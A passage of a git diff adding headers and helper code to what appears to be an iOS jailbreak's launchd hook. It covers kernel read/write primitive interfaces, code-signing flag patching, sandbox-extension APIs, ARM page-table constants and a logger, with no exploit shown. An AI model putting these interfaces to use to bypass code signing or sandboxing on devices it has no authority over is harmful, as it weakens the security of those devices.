+void proc_csflags_set(uint64_t proc, uint32_t flags);
+void proc_csflags_clear(uint64_t proc, uint32_t flags);
+int proc_csflags_patch(int pid);
+uint64_t ipc_entry_lookup(uint64_t space, mach_port_name_t name);
+uint64_t pa_index(uint64_t pa);
+uint64_t pai_to_pvh(uint64_t pai);
+uint64_t pvh_ptd(uint64_t pvh);
+void task_set_memory_ownership_transfer(uint64_t task, bool value);
+uint64_t mac_label_get(uint64_t label, int slot);
+void mac_label_set(uint64_t label, int slot, uint64_t value);
+int pmap_cs_allow_invalid(uint64_t pmap);
+int cs_allow_invalid(uint64_t proc, bool emulateFully);
+kern_return_t pmap_enter_options_addr(uint64_t pmap, uint64_t pa, uint64_t va);
+uint64_t pmap_remove_options(uint64_t pmap, uint64_t start, uint64_t end);
+void pmap_remove(uint64_t pmap, uint64_t start, uint64_t end);
+
+#endif
\ No newline at end of file
diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/libproc.h b/RootHelperSample/launchdshim/launchdhook/jbserver/libproc.h
new file mode 100644
index 00000000..dbd7545b
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/jbserver/libproc.h
@@ -0,0 +1,128 @@
+/*
+ * Copyright (c) 2006, 2007, 2010 Apple Inc. All rights reserved.
+ *
+ * @APPLE_LICENSE_HEADER_START@
+ *
+ * This file contains Original Code and/or Modifications of Original Code
+ * as defined in and that are subject to the Apple Public Source License
+ * Version 2.0 (the 'License'). You may not use this file except in
+ * compliance with the License. Please obtain a copy of the License at
+ * http://www.opensource.apple.com/apsl/ and read it before using this
+ * file.
+ *
+ * The Original Code and all software distributed under the License are
+ * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
+ * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
+ * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
+ * Please see the License for the specific language governing rights and
+ * limitations under the License.
+ *
+ * @APPLE_LICENSE_HEADER_END@
+ */
+#ifndef _LIBPROC_H_
+#define _LIBPROC_H_
+
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+#include
+
+/*
+ * This header file contains private interfaces to obtain process information.
+ * These interfaces are subject to change in future releases.
+ */
+
+/*!
+ @define PROC_LISTPIDSPATH_PATH_IS_VOLUME
+ @discussion This flag indicates that all processes that hold open
+ file references on the volume associated with the specified
+ path should be returned.
+ */
+#define PROC_LISTPIDSPATH_PATH_IS_VOLUME 1
+
+
+/*!
+ @define PROC_LISTPIDSPATH_EXCLUDE_EVTONLY
+ @discussion This flag indicates that file references that were opened
+ with the O_EVTONLY flag should be excluded from the matching
+ criteria.
+ */
+#define PROC_LISTPIDSPATH_EXCLUDE_EVTONLY 2
+
+__BEGIN_DECLS
+
+
+/*!
+ @function proc_listpidspath
+ @discussion A function which will search through the current
+ processes looking for open file references which match
+ a specified path or volume.
+ @param type types of processes to be searched (see proc_listpids)
+ @param typeinfo adjunct information for type
+ @param path file or volume path
+ @param pathflags flags to control which files should be considered
+ during the process search.
+ @param buffer a C array of int-sized values to be filled with
+ process identifiers that hold an open file reference
+ matching the specified path or volume. Pass NULL to
+ obtain the minimum buffer size needed to hold the
+ currently active processes.
+ @param buffersize the size (in bytes) of the provided buffer.
+ @result the number of bytes of data returned in the provided buffer;
+ -1 if an error was encountered;
+ */
+int proc_listpidspath(uint32_t type,
+ uint32_t typeinfo,
+ const char *path,
+ uint32_t pathflags,
+ void *buffer,
+ int buffersize) __OSX_AVAILABLE_STARTING(__MAC_10_5, __IPHONE_2_0);
+
+int proc_listpids(uint32_t type, uint32_t typeinfo, void *buffer, int buffersize) __OSX_AVAILABLE_STARTING(__MAC_10_5, __IPHONE_2_0);
+int proc_listallpids(void * buffer, int buffersize) __OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_4_1);
+int proc_listpgrppids(pid_t pgrpid, void * buffer, int buffersize) __OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_4_1);
+int proc_listchildpids(pid_t ppid, void * buffer, int buffersize) __OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_4_1);
+int proc_pidinfo(int pid, int flavor, uint64_t arg, void *buffer, int buffersize) __OSX_AVAILABLE_STARTING(__MAC_10_5, __IPHONE_2_0);
+int proc_pidfdinfo(int pid, int fd, int flavor, void * buffer, int buffersize) __OSX_AVAILABLE_STARTING(__MAC_10_5, __IPHONE_2_0);
+int proc_pidfileportinfo(int pid, uint32_t fileport, int flavor, void *buffer, int buffersize) __OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_4_3);
+int proc_name(int pid, void * buffer, uint32_t buffersize) __OSX_AVAILABLE_STARTING(__MAC_10_5, __IPHONE_2_0);
+int proc_regionfilename(int pid, uint64_t address, void * buffer, uint32_t buffersize) __OSX_AVAILABLE_STARTING(__MAC_10_5, __IPHONE_2_0);
+int proc_kmsgbuf(void * buffer, uint32_t buffersize) __OSX_AVAILABLE_STARTING(__MAC_10_5, __IPHONE_2_0);
+int proc_pidpath(int pid, void * buffer, uint32_t buffersize) __OSX_AVAILABLE_STARTING(__MAC_10_5, __IPHONE_2_0);
+int proc_libversion(int *major, int * minor) __OSX_AVAILABLE_STARTING(__MAC_10_5, __IPHONE_2_0);
+
+/*
+ * Return resource usage information for the given pid, which can be a live process or a zombie.
+ *
+ * Returns 0 on success; or -1 on failure, with errno set to indicate the specific error.
+ */
+int proc_pid_rusage(int pid, int flavor, rusage_info_t *buffer) __OSX_AVAILABLE_STARTING(__MAC_10_9, __IPHONE_7_0);
+
+/*
+ * A process can use the following api to set its own process control
+ * state on resoure starvation. The argument can have one of the PROC_SETPC_XX values
+ */
+#define PROC_SETPC_NONE 0
+#define PROC_SETPC_THROTTLEMEM 1
+#define PROC_SETPC_SUSPEND 2
+#define PROC_SETPC_TERMINATE 3
+
+int proc_setpcontrol(const int control) __OSX_AVAILABLE_STARTING(__MAC_10_6, __IPHONE_3_2);
+int proc_setpcontrol(const int control);
+
+int proc_track_dirty(pid_t pid, uint32_t flags);
+int proc_set_dirty(pid_t pid, bool dirty);
+int proc_get_dirty(pid_t pid, uint32_t *flags);
+
+int proc_terminate(pid_t pid, int *sig);
+
+__END_DECLS
+
+#endif /*_LIBPROC_H_ */
diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/libproc_private.h b/RootHelperSample/launchdshim/launchdhook/jbserver/libproc_private.h
new file mode 100644
index 00000000..aa936ef9
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/jbserver/libproc_private.h
@@ -0,0 +1,27 @@
+struct proc_bsdinfo {
+ uint32_t pbi_flags; /* 64bit; emulated etc */
+ uint32_t pbi_status;
+ uint32_t pbi_xstatus;
+ uint32_t pbi_pid;
+ uint32_t pbi_ppid;
+ uid_t pbi_uid;
+ gid_t pbi_gid;
+ uid_t pbi_ruid;
+ gid_t pbi_rgid;
+ uid_t pbi_svuid;
+ gid_t pbi_svgid;
+ uint32_t rfu_1; /* reserved */
+ char pbi_comm[MAXCOMLEN];
+ char pbi_name[2 * MAXCOMLEN]; /* empty if no name is registered */
+ uint32_t pbi_nfiles;
+ uint32_t pbi_pgid;
+ uint32_t pbi_pjobc;
+ uint32_t e_tdev; /* controlling tty dev */
+ uint32_t e_tpgid; /* tty process group id */
+ int32_t pbi_nice;
+ uint64_t pbi_start_tvsec;
+ uint64_t pbi_start_tvusec;
+};
+
+#define PROC_PIDTBSDINFO 3
+#define PROC_PIDTBSDINFO_SIZE (sizeof(struct proc_bsdinfo))
\ No newline at end of file
diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/log.c b/RootHelperSample/launchdshim/launchdhook/jbserver/log.c
new file mode 100644
index 00000000..62f166d5
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/jbserver/log.c
@@ -0,0 +1,108 @@
+#include
+#include
+#include
+#include
+#include
+#include
+#include "log.h"
+
+// #ifdef ENABLE_LOGS
+
+bool debugLogsEnabled = true;
+bool errorLogsEnabled = true;
+#define LOGGING_PATH "/var/mobile/"
+
+const char *JBLogGetProcessName(void) {
+ static char *processName = NULL;
+ static dispatch_once_t onceToken;
+ dispatch_once(&onceToken, ^{
+ uint32_t length = 0;
+ _NSGetExecutablePath(NULL, &length);
+ char *buf = malloc(length);
+ _NSGetExecutablePath(buf, &length);
+
+ char delim[] = "/";
+ char *last = NULL;
+ char *ptr = strtok(buf, delim);
+ while (ptr != NULL) {
+ last = ptr;
+ ptr = strtok(NULL, delim);
+ }
+ processName = strdup(last);
+ free(buf);
+ });
+ return processName;
+}
+
+
+void JBDLogV(const char *prefix, const char *format, va_list va) {
+ static char *logFilePath = NULL;
+ static dispatch_once_t onceToken;
+ dispatch_once(&onceToken, ^{
+ const char *processName = JBLogGetProcessName();
+
+ time_t t = time(NULL);
+ //struct tm *tm = localtime(&t);
+ char timestamp[64];
+ sprintf(×tamp[0], "%lu-%d", t, getpid());
+
+ logFilePath = malloc(strlen(LOGGING_PATH) + strlen(processName) + strlen(timestamp) + 6);
+ strcpy(logFilePath, LOGGING_PATH);
+ strcat(logFilePath, processName);
+ strcat(logFilePath, "-");
+ strcat(logFilePath, timestamp);
+ strcat(logFilePath, ".log");
+ });
+
+ FILE *logFile = fopen(logFilePath, "a");
+ if (logFile) {
+ time_t ltime;
+ struct tm result;
+ char stime[32];
+ ltime = time(NULL);
+
+ __uint64_t tid = 0;
+ pthread_threadid_np(0, &tid);
+ fprintf(logFile, "[%lu] [%lld] [%s] ", ltime, tid, prefix);
+ vfprintf(logFile, format, va);
+ fprintf(logFile, "\n");
+
+ fflush(logFile);
+ fsync(fileno(logFile));
+ fclose(logFile);
+ }
+}
+
+bool jblogenable = false;
+
+void JBLogDebug(const char *format, ...) {
+ static dispatch_once_t onceToken;
+ dispatch_once(&onceToken, ^{
+ if (access(LOGGING_PATH "/.jblogenable", F_OK) == 0) jblogenable = true;
+ });
+
+ if (!jblogenable) return;
+
+ if (!debugLogsEnabled) return;
+ va_list va;
+ va_start(va, format);
+ JBDLogV("DEBUG", format, va);
+ va_end(va);
+}
+
+void JBLogError(const char *format, ...) {
+ static dispatch_once_t onceToken;
+ dispatch_once(&onceToken, ^{
+ if (access(LOGGING_PATH "/.jblogenable", F_OK) == 0) jblogenable = true;
+ });
+
+ if (!jblogenable) return;
+
+ if (!errorLogsEnabled) return;
+ va_list va;
+ va_start(va, format);
+ JBDLogV("ERROR", format, va);
+ va_end(va);
+}
+
+// #endif
diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/log.h b/RootHelperSample/launchdshim/launchdhook/jbserver/log.h
new file mode 100644
index 00000000..f984de3e
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/jbserver/log.h
@@ -0,0 +1,14 @@
+#ifdef DEBUG
+#define ENABLE_LOGS
+#endif
+
+#ifdef ENABLE_LOGS
+void JBLogDebug(const char *format, ...);
+void JBLogError(const char *format, ...);
+#else
+#define JBLogDebug(format ...)
+#define JBLogError(format ...)
+#endif
+
+//#define JBLogDebug(format ...) NSLog(@format)
+//#define JBLogError(format ...) NSLog(@format)
diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/machine_info.h b/RootHelperSample/launchdshim/launchdhook/jbserver/machine_info.h
new file mode 100644
index 00000000..e3b97317
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/jbserver/machine_info.h
@@ -0,0 +1,56 @@
+#ifndef MACHINE_INFO_H
+#define MACHINE_INFO_H
+
+#include
+
+/* A8 */
+#ifndef CPUFAMILY_ARM_TYPHOON
+#define CPUFAMILY_ARM_TYPHOON 0x2c91a47e
+#endif
+
+/* A9 */
+#ifndef CPUFAMILY_ARM_TWISTER
+#define CPUFAMILY_ARM_TWISTER 0x92fb37c8
+#endif
+
+/* A10 */
+#ifndef CPUFAMILY_ARM_HURRICANE
+#define CPUFAMILY_ARM_HURRICANE 0x67ceee93
+#endif
+
+/* A11 */
+#ifndef CPUFAMILY_ARM_MONSOON_MISTRAL
+#define CPUFAMILY_ARM_MONSOON_MISTRAL 0xe81e7ef6
+#endif
+
+/* A12 */
+#ifndef CPUFAMILY_ARM_VORTEX_TEMPEST
+#define CPUFAMILY_ARM_VORTEX_TEMPEST 0x07d34b9f
+#endif
+
+/* A13 */
+#ifndef CPUFAMILY_ARM_LIGHTNING_THUNDER
+#define CPUFAMILY_ARM_LIGHTNING_THUNDER 0x462504d2
+#endif
+
+/* A14 */
+#ifndef CPUFAMILY_ARM_FIRESTORM_ICESTORM
+#define CPUFAMILY_ARM_FIRESTORM_ICESTORM 0x1b588bb3
+#endif
+
+/* A15 */
+#ifndef CPUFAMILY_ARM_BLIZZARD_AVALANCHE
+#define CPUFAMILY_ARM_BLIZZARD_AVALANCHE 0xda33d83d
+#endif
+
+/* A16 */
+#ifndef CPUFAMILY_ARM_EVEREST_SAWTOOTH
+#define CPUFAMILY_ARM_EVEREST_SAWTOOTH 0x8765edea
+#endif
+
+/* A17 */
+#ifndef CPUFAMILY_ARM_COLL
+#define CPUFAMILY_ARM_COLL 0x2876f5b5
+#endif
+
+#endif /* MACHINE_INFO_H */
diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/primitives_external.h b/RootHelperSample/launchdshim/launchdhook/jbserver/primitives_external.h
new file mode 100644
index 00000000..f58b375b
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/jbserver/primitives_external.h
@@ -0,0 +1,33 @@
+#ifndef PRIMITIVES_EXTERNAL_H
+#define PRIMITIVES_EXTERNAL_H
+
+typedef struct {
+ uint64_t unk;
+ uint64_t x[29];
+ uint64_t fp;
+ uint64_t lr;
+ uint64_t sp;
+ uint64_t pc;
+ uint32_t cpsr;
+ // Other stuff
+ uint64_t other[70];
+} kRegisterState;
+
+struct kernel_primitives {
+ int (*kreadbuf)(uint64_t kaddr, void* output, size_t size);
+ int (*kwritebuf)(uint64_t kaddr, const void* input, size_t size);
+ // int (*physreadbuf)(uint64_t physaddr, void* output, size_t size);
+ // int (*physwritebuf)(uint64_t physaddr, const void* input, size_t size);
+ // uint64_t (*kcall)(uint64_t func, int argc, const uint64_t *argv);
+ // void (*kexec)(kRegisterState *state);
+ // int (*kalloc_global)(uint64_t *addr, uint64_t size);
+ // int (*kalloc_local)(uint64_t *addr, uint64_t size);
+ // int (*kfree_global)(uint64_t addr, uint64_t size);
+ // int (*kmap)(uint64_t pa, uint64_t size, void **uaddr);
+ uint64_t (*vtophys)(uint64_t ttep, uint64_t va);
+ uint64_t (*phystokv)(uint64_t pa);
+};
+
+extern struct kernel_primitives gPrimitives;
+
+#endif
diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/pte.h b/RootHelperSample/launchdshim/launchdhook/jbserver/pte.h
new file mode 100644
index 00000000..7ecc0725
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/jbserver/pte.h
@@ -0,0 +1,105 @@
+#ifndef PTE_H
+#define PTE_H
+
+#define PTE_NON_GLOBAL (1 << 11)
+#define PTE_VALID (1 << 10) // Access flag
+#define PTE_OUTER_SHAREABLE (2 << 8)
+#define PTE_INNER_SHAREABLE (3 << 8)
+
+//#define PTE_LEVEL2_BLOCK PTE_VALID | (0x1)
+#define PTE_LEVEL2_BLOCK PTE_VALID | (0x0)
+#define PTE_LEVEL3_ENTRY PTE_VALID | 0x3
+
+#define KRW_URW_PERM (0x60000000000040)
+#define KRW_UR_PERM (0x600000000000C0)
+
+#define PTE_RESERVED (0x3)
+#define PTE_REUSEABLE (0x1)
+#define PTE_UNUSED (0x0)
+
+#define P_PAGE_SIZE 0x4000
+#define P_PAGE_MASK 0x3FFF
+
+#define PTE_TO_PERM(pte) ((((pte) >> 4ULL) & 0xC) | (((pte) >> 52ULL) & 2) | (((pte) >> 54ULL) & 1))
+#define _PERM_TO_PTE(perm) ((((perm) & 0xC) << 4ULL) | (((perm) & 2) << 52ULL) | (((perm) & 1) << 54ULL))
+#define PERM_TO_PTE(perm) _PERM_TO_PTE((uint64_t) (perm))
+
+#define AP_RWNA (0x0ull << 6)
+#define AP_RWRW (0x1ull << 6)
+#define AP_RONA (0x2ull << 6)
+#define AP_RORO (0x3ull << 6)
+
+#define ARM_PTE_TYPE 0x0000000000000003ull
+#define ARM_PTE_TYPE_VALID 0x0000000000000003ull
+#define ARM_PTE_TYPE_MASK 0x0000000000000002ull
+#define ARM_TTE_TYPE_L3BLOCK 0x0000000000000002ull
+#define ARM_PTE_ATTRINDX 0x000000000000001cull
+#define ARM_PTE_NS 0x0000000000000020ull
+#define ARM_PTE_AP 0x00000000000000c0ull
+#define ARM_PTE_SH 0x0000000000000300ull
+#define ARM_PTE_AF 0x0000000000000400ull
+#define ARM_PTE_NG 0x0000000000000800ull
+#define ARM_PTE_ZERO1 0x000f000000000000ull
+#define ARM_PTE_HINT 0x0010000000000000ull
+#define ARM_PTE_PNX 0x0020000000000000ull
+#define ARM_PTE_NX 0x0040000000000000ull
+#define ARM_PTE_ZERO2 0x0380000000000000ull
+#define ARM_PTE_WIRED 0x0400000000000000ull
+#define ARM_PTE_WRITEABLE 0x0800000000000000ull
+#define ARM_PTE_ZERO3 0x3000000000000000ull
+#define ARM_PTE_COMPRESSED_ALT 0x4000000000000000ull
+#define ARM_PTE_COMPRESSED 0x8000000000000000ull
+
+#define ARM_TTE_VALID 0x0000000000000001ull
+#define ARM_TTE_TYPE_MASK 0x0000000000000002ull
+#define ARM_TTE_TYPE_TABLE 0x0000000000000002ull
+#define ARM_TTE_TYPE_BLOCK 0x0000000000000000ull
+#define ARM_TTE_TABLE_MASK 0x0000fffffffff000ull
+#define ARM_TTE_PA_MASK 0x0000fffffffff000ull
+
+#define PMAP_TT_L0_LEVEL 0x0
+#define PMAP_TT_L1_LEVEL 0x1
+#define PMAP_TT_L2_LEVEL 0x2
+#define PMAP_TT_L3_LEVEL 0x3
+
+#define ARM_16K_TT_L0_SIZE 0x0000800000000000ull
+#define ARM_16K_TT_L0_OFFMASK 0x00007fffffffffffull
+#define ARM_16K_TT_L0_SHIFT 47
+#define ARM_16K_TT_L0_INDEX_MASK 0x0000800000000000ull
+
+#define ARM_16K_TT_L1_SIZE 0x0000001000000000ull
+#define ARM_16K_TT_L1_OFFMASK 0x0000000fffffffffull
+#define ARM_16K_TT_L1_SHIFT 36
+#define ARM_16K_TT_L1_INDEX_MASK 0x0000007000000000ull
+
+#define ARM_16K_TT_L2_SIZE 0x0000000002000000ull
+#define ARM_16K_TT_L2_OFFMASK 0x0000000001ffffffull
+#define ARM_16K_TT_L2_SHIFT 25
+#define ARM_16K_TT_L2_INDEX_MASK 0x0000000ffe000000ull
+
+#define ARM_16K_TT_L3_SIZE 0x0000000000004000ull
+#define ARM_16K_TT_L3_OFFMASK 0x0000000000003fffull
+#define ARM_16K_TT_L3_SHIFT 14
+#define ARM_16K_TT_L3_INDEX_MASK 0x0000000001ffc000ull
+
+#define ARM_4K_TT_L0_SIZE 0x0000008000000000ULL
+#define ARM_4K_TT_L0_OFFMASK 0x0000007fffffffffULL
+#define ARM_4K_TT_L0_SHIFT 39
+#define ARM_4K_TT_L0_INDEX_MASK 0x0000ff8000000000ULL
+
+#define ARM_4K_TT_L1_SIZE 0x0000000040000000ULL
+#define ARM_4K_TT_L1_OFFMASK 0x000000003fffffffULL
+#define ARM_4K_TT_L1_SHIFT 30
+#define ARM_4K_TT_L1_INDEX_MASK 0x0000003fc0000000ULL
+
+#define ARM_4K_TT_L2_SIZE 0x0000000000200000ULL
+#define ARM_4K_TT_L2_OFFMASK 0x00000000001fffffULL
+#define ARM_4K_TT_L2_SHIFT 21
+#define ARM_4K_TT_L2_INDEX_MASK 0x000000003fe00000ULL
+
+#define ARM_4K_TT_L3_SIZE 0x0000000000001000ULL
+#define ARM_4K_TT_L3_OFFMASK 0x0000000000000fffULL
+#define ARM_4K_TT_L3_SHIFT 12
+#define ARM_4K_TT_L3_INDEX_MASK 0x00000000001ff000ULL
+
+#endif
diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/pvh.h b/RootHelperSample/launchdshim/launchdhook/jbserver/pvh.h
new file mode 100644
index 00000000..87bb09d7
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/jbserver/pvh.h
@@ -0,0 +1,24 @@
+#ifndef PVH_H
+#define PVH_H
+
+#define PVH_TYPE_MASK (0x3UL)
+#define PVH_LIST_MASK (~PVH_TYPE_MASK)
+#define PVH_FLAG_CPU (1ULL << 62)
+#define PVH_LOCK_BIT 61
+#define PVH_FLAG_LOCK (1ULL << PVH_LOCK_BIT)
+#define PVH_FLAG_EXEC (1ULL << 60)
+#define PVH_FLAG_LOCKDOWN_KC (1ULL << 59)
+#define PVH_FLAG_HASHED (1ULL << 58)
+#define PVH_FLAG_LOCKDOWN_CS (1ULL << 57)
+#define PVH_FLAG_LOCKDOWN_RO (1ULL << 56)
+#define PVH_FLAG_FLUSH_NEEDED (1ULL << 54)
+#define PVH_FLAG_LOCKDOWN_MASK (PVH_FLAG_LOCKDOWN_KC | PVH_FLAG_LOCKDOWN_CS | PVH_FLAG_LOCKDOWN_RO)
+#define PVH_HIGH_FLAGS (PVH_FLAG_CPU | PVH_FLAG_LOCK | PVH_FLAG_EXEC | PVH_FLAG_LOCKDOWN_MASK | \
+ PVH_FLAG_HASHED | PVH_FLAG_FLUSH_NEEDED)
+
+#define PVH_TYPE_NULL 0x0UL
+#define PVH_TYPE_PVEP 0x1UL
+#define PVH_TYPE_PTEP 0x2UL
+#define PVH_TYPE_PTDP 0x3UL
+
+#endif
\ No newline at end of file
diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/sandbox.h b/RootHelperSample/launchdshim/launchdhook/jbserver/sandbox.h
new file mode 100644
index 00000000..f4fec359
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/jbserver/sandbox.h
@@ -0,0 +1,123 @@
+#ifndef __SANDBOX_H__
+#define __SANDBOX_H__
+
+#include
+#include
+
+enum sandbox_filter_type {
+ SANDBOX_FILTER_NONE,
+ SANDBOX_FILTER_PATH,
+ SANDBOX_FILTER_GLOBAL_NAME,
+ SANDBOX_FILTER_LOCAL_NAME,
+ SANDBOX_FILTER_APPLEEVENT_DESTINATION,
+ SANDBOX_FILTER_RIGHT_NAME,
+ SANDBOX_FILTER_PREFERENCE_DOMAIN,
+ SANDBOX_FILTER_KEXT_BUNDLE_ID,
+ SANDBOX_FILTER_INFO_TYPE,
+ SANDBOX_FILTER_NOTIFICATION,
+ // ?
+ // ?
+ SANDBOX_FILTER_XPC_SERVICE_NAME = 12,
+ SANDBOX_FILTER_IOKIT_CONNECTION,
+ // ?
+ // ?
+ // ?
+ // ?
+};
+
+enum sandbox_extension_flags {
+ FS_EXT_DEFAULTS = 0,
+ FS_EXT_FOR_PATH = (1 << 0),
+ FS_EXT_FOR_FILE = (1 << 1),
+ FS_EXT_READ = (1 << 2),
+ FS_EXT_WRITE = (1 << 3),
+ FS_EXT_PREFER_FILEID = (1 << 4),
+};
+
+enum sandbox_extension_types {
+ EXTENSION_TYPE_FILE,
+ EXTENSION_TYPE_MACH,
+ EXTENSION_TYPE_IOKIT_REGISTRY_ENTRY,
+ EXTENSION_TYPE_GENERIC,
+ EXTENSION_TYPE_POSIX,
+ EXTENSION_TYPE_PREFERENCE,
+ EXTENSION_TYPE_SYSCTL,
+ EXTENSION_TYPE_MAX /* last */
+};
+
+#define EXTENSION_FLAG_INVALID (1 << 0)
+#define EXTENSION_FLAG_CANONICAL (1 << 1)
+#define EXTENSION_FLAG_PREFIXMATCH (1 << 2) /* Not for paths. */
+#define EXTENSION_FLAG_PATHLITERAL (1 << 3) /* Only for paths. */
+#define EXTENSION_FLAG_NO_REPORT (1 << 4)
+#define EXTENSION_FLAG_BIND_PID (1 << 16)
+#define EXTENSION_FLAG_BIND_PIDVERSION (1 << 17)
+
+#define MAX_TOKEN_SIZE 2048
+
+struct syscall_extension_issue_args {
+ uint64_t extension_class;
+ uint64_t extension_type;
+ uint64_t extension_data;
+ uint64_t extension_flags;
+ uint64_t extension_token; /* out */
+ int64_t extension_pid;
+ int64_t extension_pid_version;
+};
+
+extern const char *APP_SANDBOX_IOKIT_CLIENT;
+extern const char *APP_SANDBOX_MACH;
+extern const char *APP_SANDBOX_READ;
+extern const char *APP_SANDBOX_READ_WRITE;
+
+extern const char *IOS_SANDBOX_APPLICATION_GROUP;
+extern const char *IOS_SANDBOX_CONTAINER;
+
+extern const enum sandbox_filter_type SANDBOX_CHECK_ALLOW_APPROVAL;
+extern const enum sandbox_filter_type SANDBOX_CHECK_CANONICAL;
+extern const enum sandbox_filter_type SANDBOX_CHECK_NOFOLLOW;
+extern const enum sandbox_filter_type SANDBOX_CHECK_NO_APPROVAL;
+extern const enum sandbox_filter_type SANDBOX_CHECK_NO_REPORT;
+
+extern const uint32_t SANDBOX_EXTENSION_CANONICAL;
+extern const uint32_t SANDBOX_EXTENSION_DEFAULT;
+extern const uint32_t SANDBOX_EXTENSION_MAGIC;
+extern const uint32_t SANDBOX_EXTENSION_NOFOLLOW;
+extern const uint32_t SANDBOX_EXTENSION_NO_REPORT;
+extern const uint32_t SANDBOX_EXTENSION_NO_STORAGE_CLASS;
+extern const uint32_t SANDBOX_EXTENSION_PREFIXMATCH;
+extern const uint32_t SANDBOX_EXTENSION_UNRESOLVED;
+
+int sandbox_init(const char *profile, uint64_t flags, char **errorbuf);
+int sandbox_init_with_parameters(const char *profile, uint64_t flags, const char *const parameters[], char **errorbuf);
+int sandbox_init_with_extensions(const char *profile, uint64_t flags, const char *const extensions[], char **errorbuf);
+
+int sandbox_check(pid_t pid, const char *operation, enum sandbox_filter_type, ...);
+int sandbox_check_by_audit_token(audit_token_t, const char *operation, enum sandbox_filter_type, ...);
+int sandbox_check_by_uniqueid(uid_t, pid_t, const char *operation, enum sandbox_filter_type, ...);
+
+int64_t sandbox_extension_consume(const char *extension_token);
+char *sandbox_extension_issue_file(const char *extension_class, const char *path, uint32_t flags);
+char *sandbox_extension_issue_file_to_process(const char *extension_class, const char *path, uint32_t flags, audit_token_t);
+char *sandbox_extension_issue_file_to_process_by_pid(const char *extension_class, const char *path, uint32_t flags, pid_t);
+char *sandbox_extension_issue_file_to_self(const char *extension_class, const char *path, uint32_t flags);
+char *sandbox_extension_issue_generic(const char *extension_class, uint32_t flags);
+char *sandbox_extension_issue_generic_to_process(const char *extension_class, uint32_t flags, audit_token_t);
+char *sandbox_extension_issue_generic_to_process_by_pid(const char *extension_class, uint32_t flags, pid_t);
+char *sandbox_extension_issue_iokit_registry_entry_class(const char *extension_class, const char *registry_entry_class, uint32_t flags);
+char *sandbox_extension_issue_iokit_registry_entry_class_to_process(const char *extension_class, const char *registry_entry_class, uint32_t flags, audit_token_t);
+char *sandbox_extension_issue_iokit_registry_entry_class_to_process_by_pid(const char *extension_class, const char *registry_entry_class, uint32_t flags, pid_t);
+char *sandbox_extension_issue_iokit_user_client_class(const char *extension_class, const char *registry_entry_class, uint32_t flags);
+char *sandbox_extension_issue_mach(const char *extension_class, const char *name, uint32_t flags);
+char *sandbox_extension_issue_mach_to_process(const char *extension_class, const char *name, uint32_t flags, audit_token_t);
+char *sandbox_extension_issue_mach_to_process_by_pid(const char *extension_class, const char *name, uint32_t flags, pid_t);
+char *sandbox_extension_issue_posix_ipc(const char *extension_class, const char *name, uint32_t flags);
+
+void sandbox_extension_reap(void);
+int sandbox_extension_release(int64_t extension_handle);
+int sandbox_extension_release_file(int64_t extension_handle, const char *path);
+int sandbox_extension_update_file(int64_t extension_handle, const char *path);
+
+int __sandbox_ms(const char *policyname, int call, void *arg);
+
+#endif
\ No newline at end of file
diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/translation.c b/RootHelperSample/launchdshim/launchdhook/jbserver/translation.c
new file mode 100644
index 00000000..097ba4c5
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/jbserver/translation.c
@@ -0,0 +1,186 @@
+#include "translation.h"
+// #include "primitives.h"
+#include "../fun/krw.h"
+#include "kernel.h"
+#include "info.h"
+#include
+#include
+
+struct tt_level {
+ uint64_t offMask;
+ uint64_t shift;
+ uint64_t indexMask;
+ uint64_t validMask;
+ uint64_t typeMask;
+ uint64_t typeBlock;
+};
+struct tt_level arm_tt_level[4];
+
+// Address translation physical <-> virtual
+
+// uint64_t phystokv(uint64_t pa)
+// {
+// const uint64_t PTOV_TABLE_SIZE = 8;
+// struct ptov_table_entry {
+// uint64_t pa;
+// uint64_t va;
+// uint64_t len;
+// } ptov_table[PTOV_TABLE_SIZE];
+// kreadbuf(ksymbol(ptov_table), &ptov_table[0], sizeof(ptov_table));
+
+// for (uint64_t i = 0; (i < PTOV_TABLE_SIZE) && (ptov_table[i].len != 0); i++) {
+// if ((pa >= ptov_table[i].pa) && (pa < (ptov_table[i].pa + ptov_table[i].len))) {
+// return pa - ptov_table[i].pa + ptov_table[i].va;
+// }
+// }
+
+// return pa - kconstant(physBase) + kconstant(virtBase);
+// }
+
+// uint64_t vtophys_lvl(uint64_t tte_ttep, uint64_t va, uint64_t *leaf_level, uint64_t *leaf_tte_ttep)
+// {
+// errno = 0;
+// const uint64_t ROOT_LEVEL = PMAP_TT_L1_LEVEL;
+// const uint64_t LEAF_LEVEL = *leaf_level;
+
+// uint64_t pa = 0;
+
+// bool physical = !(bool)(tte_ttep & 0xf000000000000000);
+
+// for (uint64_t curLevel = ROOT_LEVEL; curLevel <= LEAF_LEVEL; curLevel++) {
+// if (curLevel > PMAP_TT_L3_LEVEL) {
+// errno = 1041;
+// return 0;
+// }
+
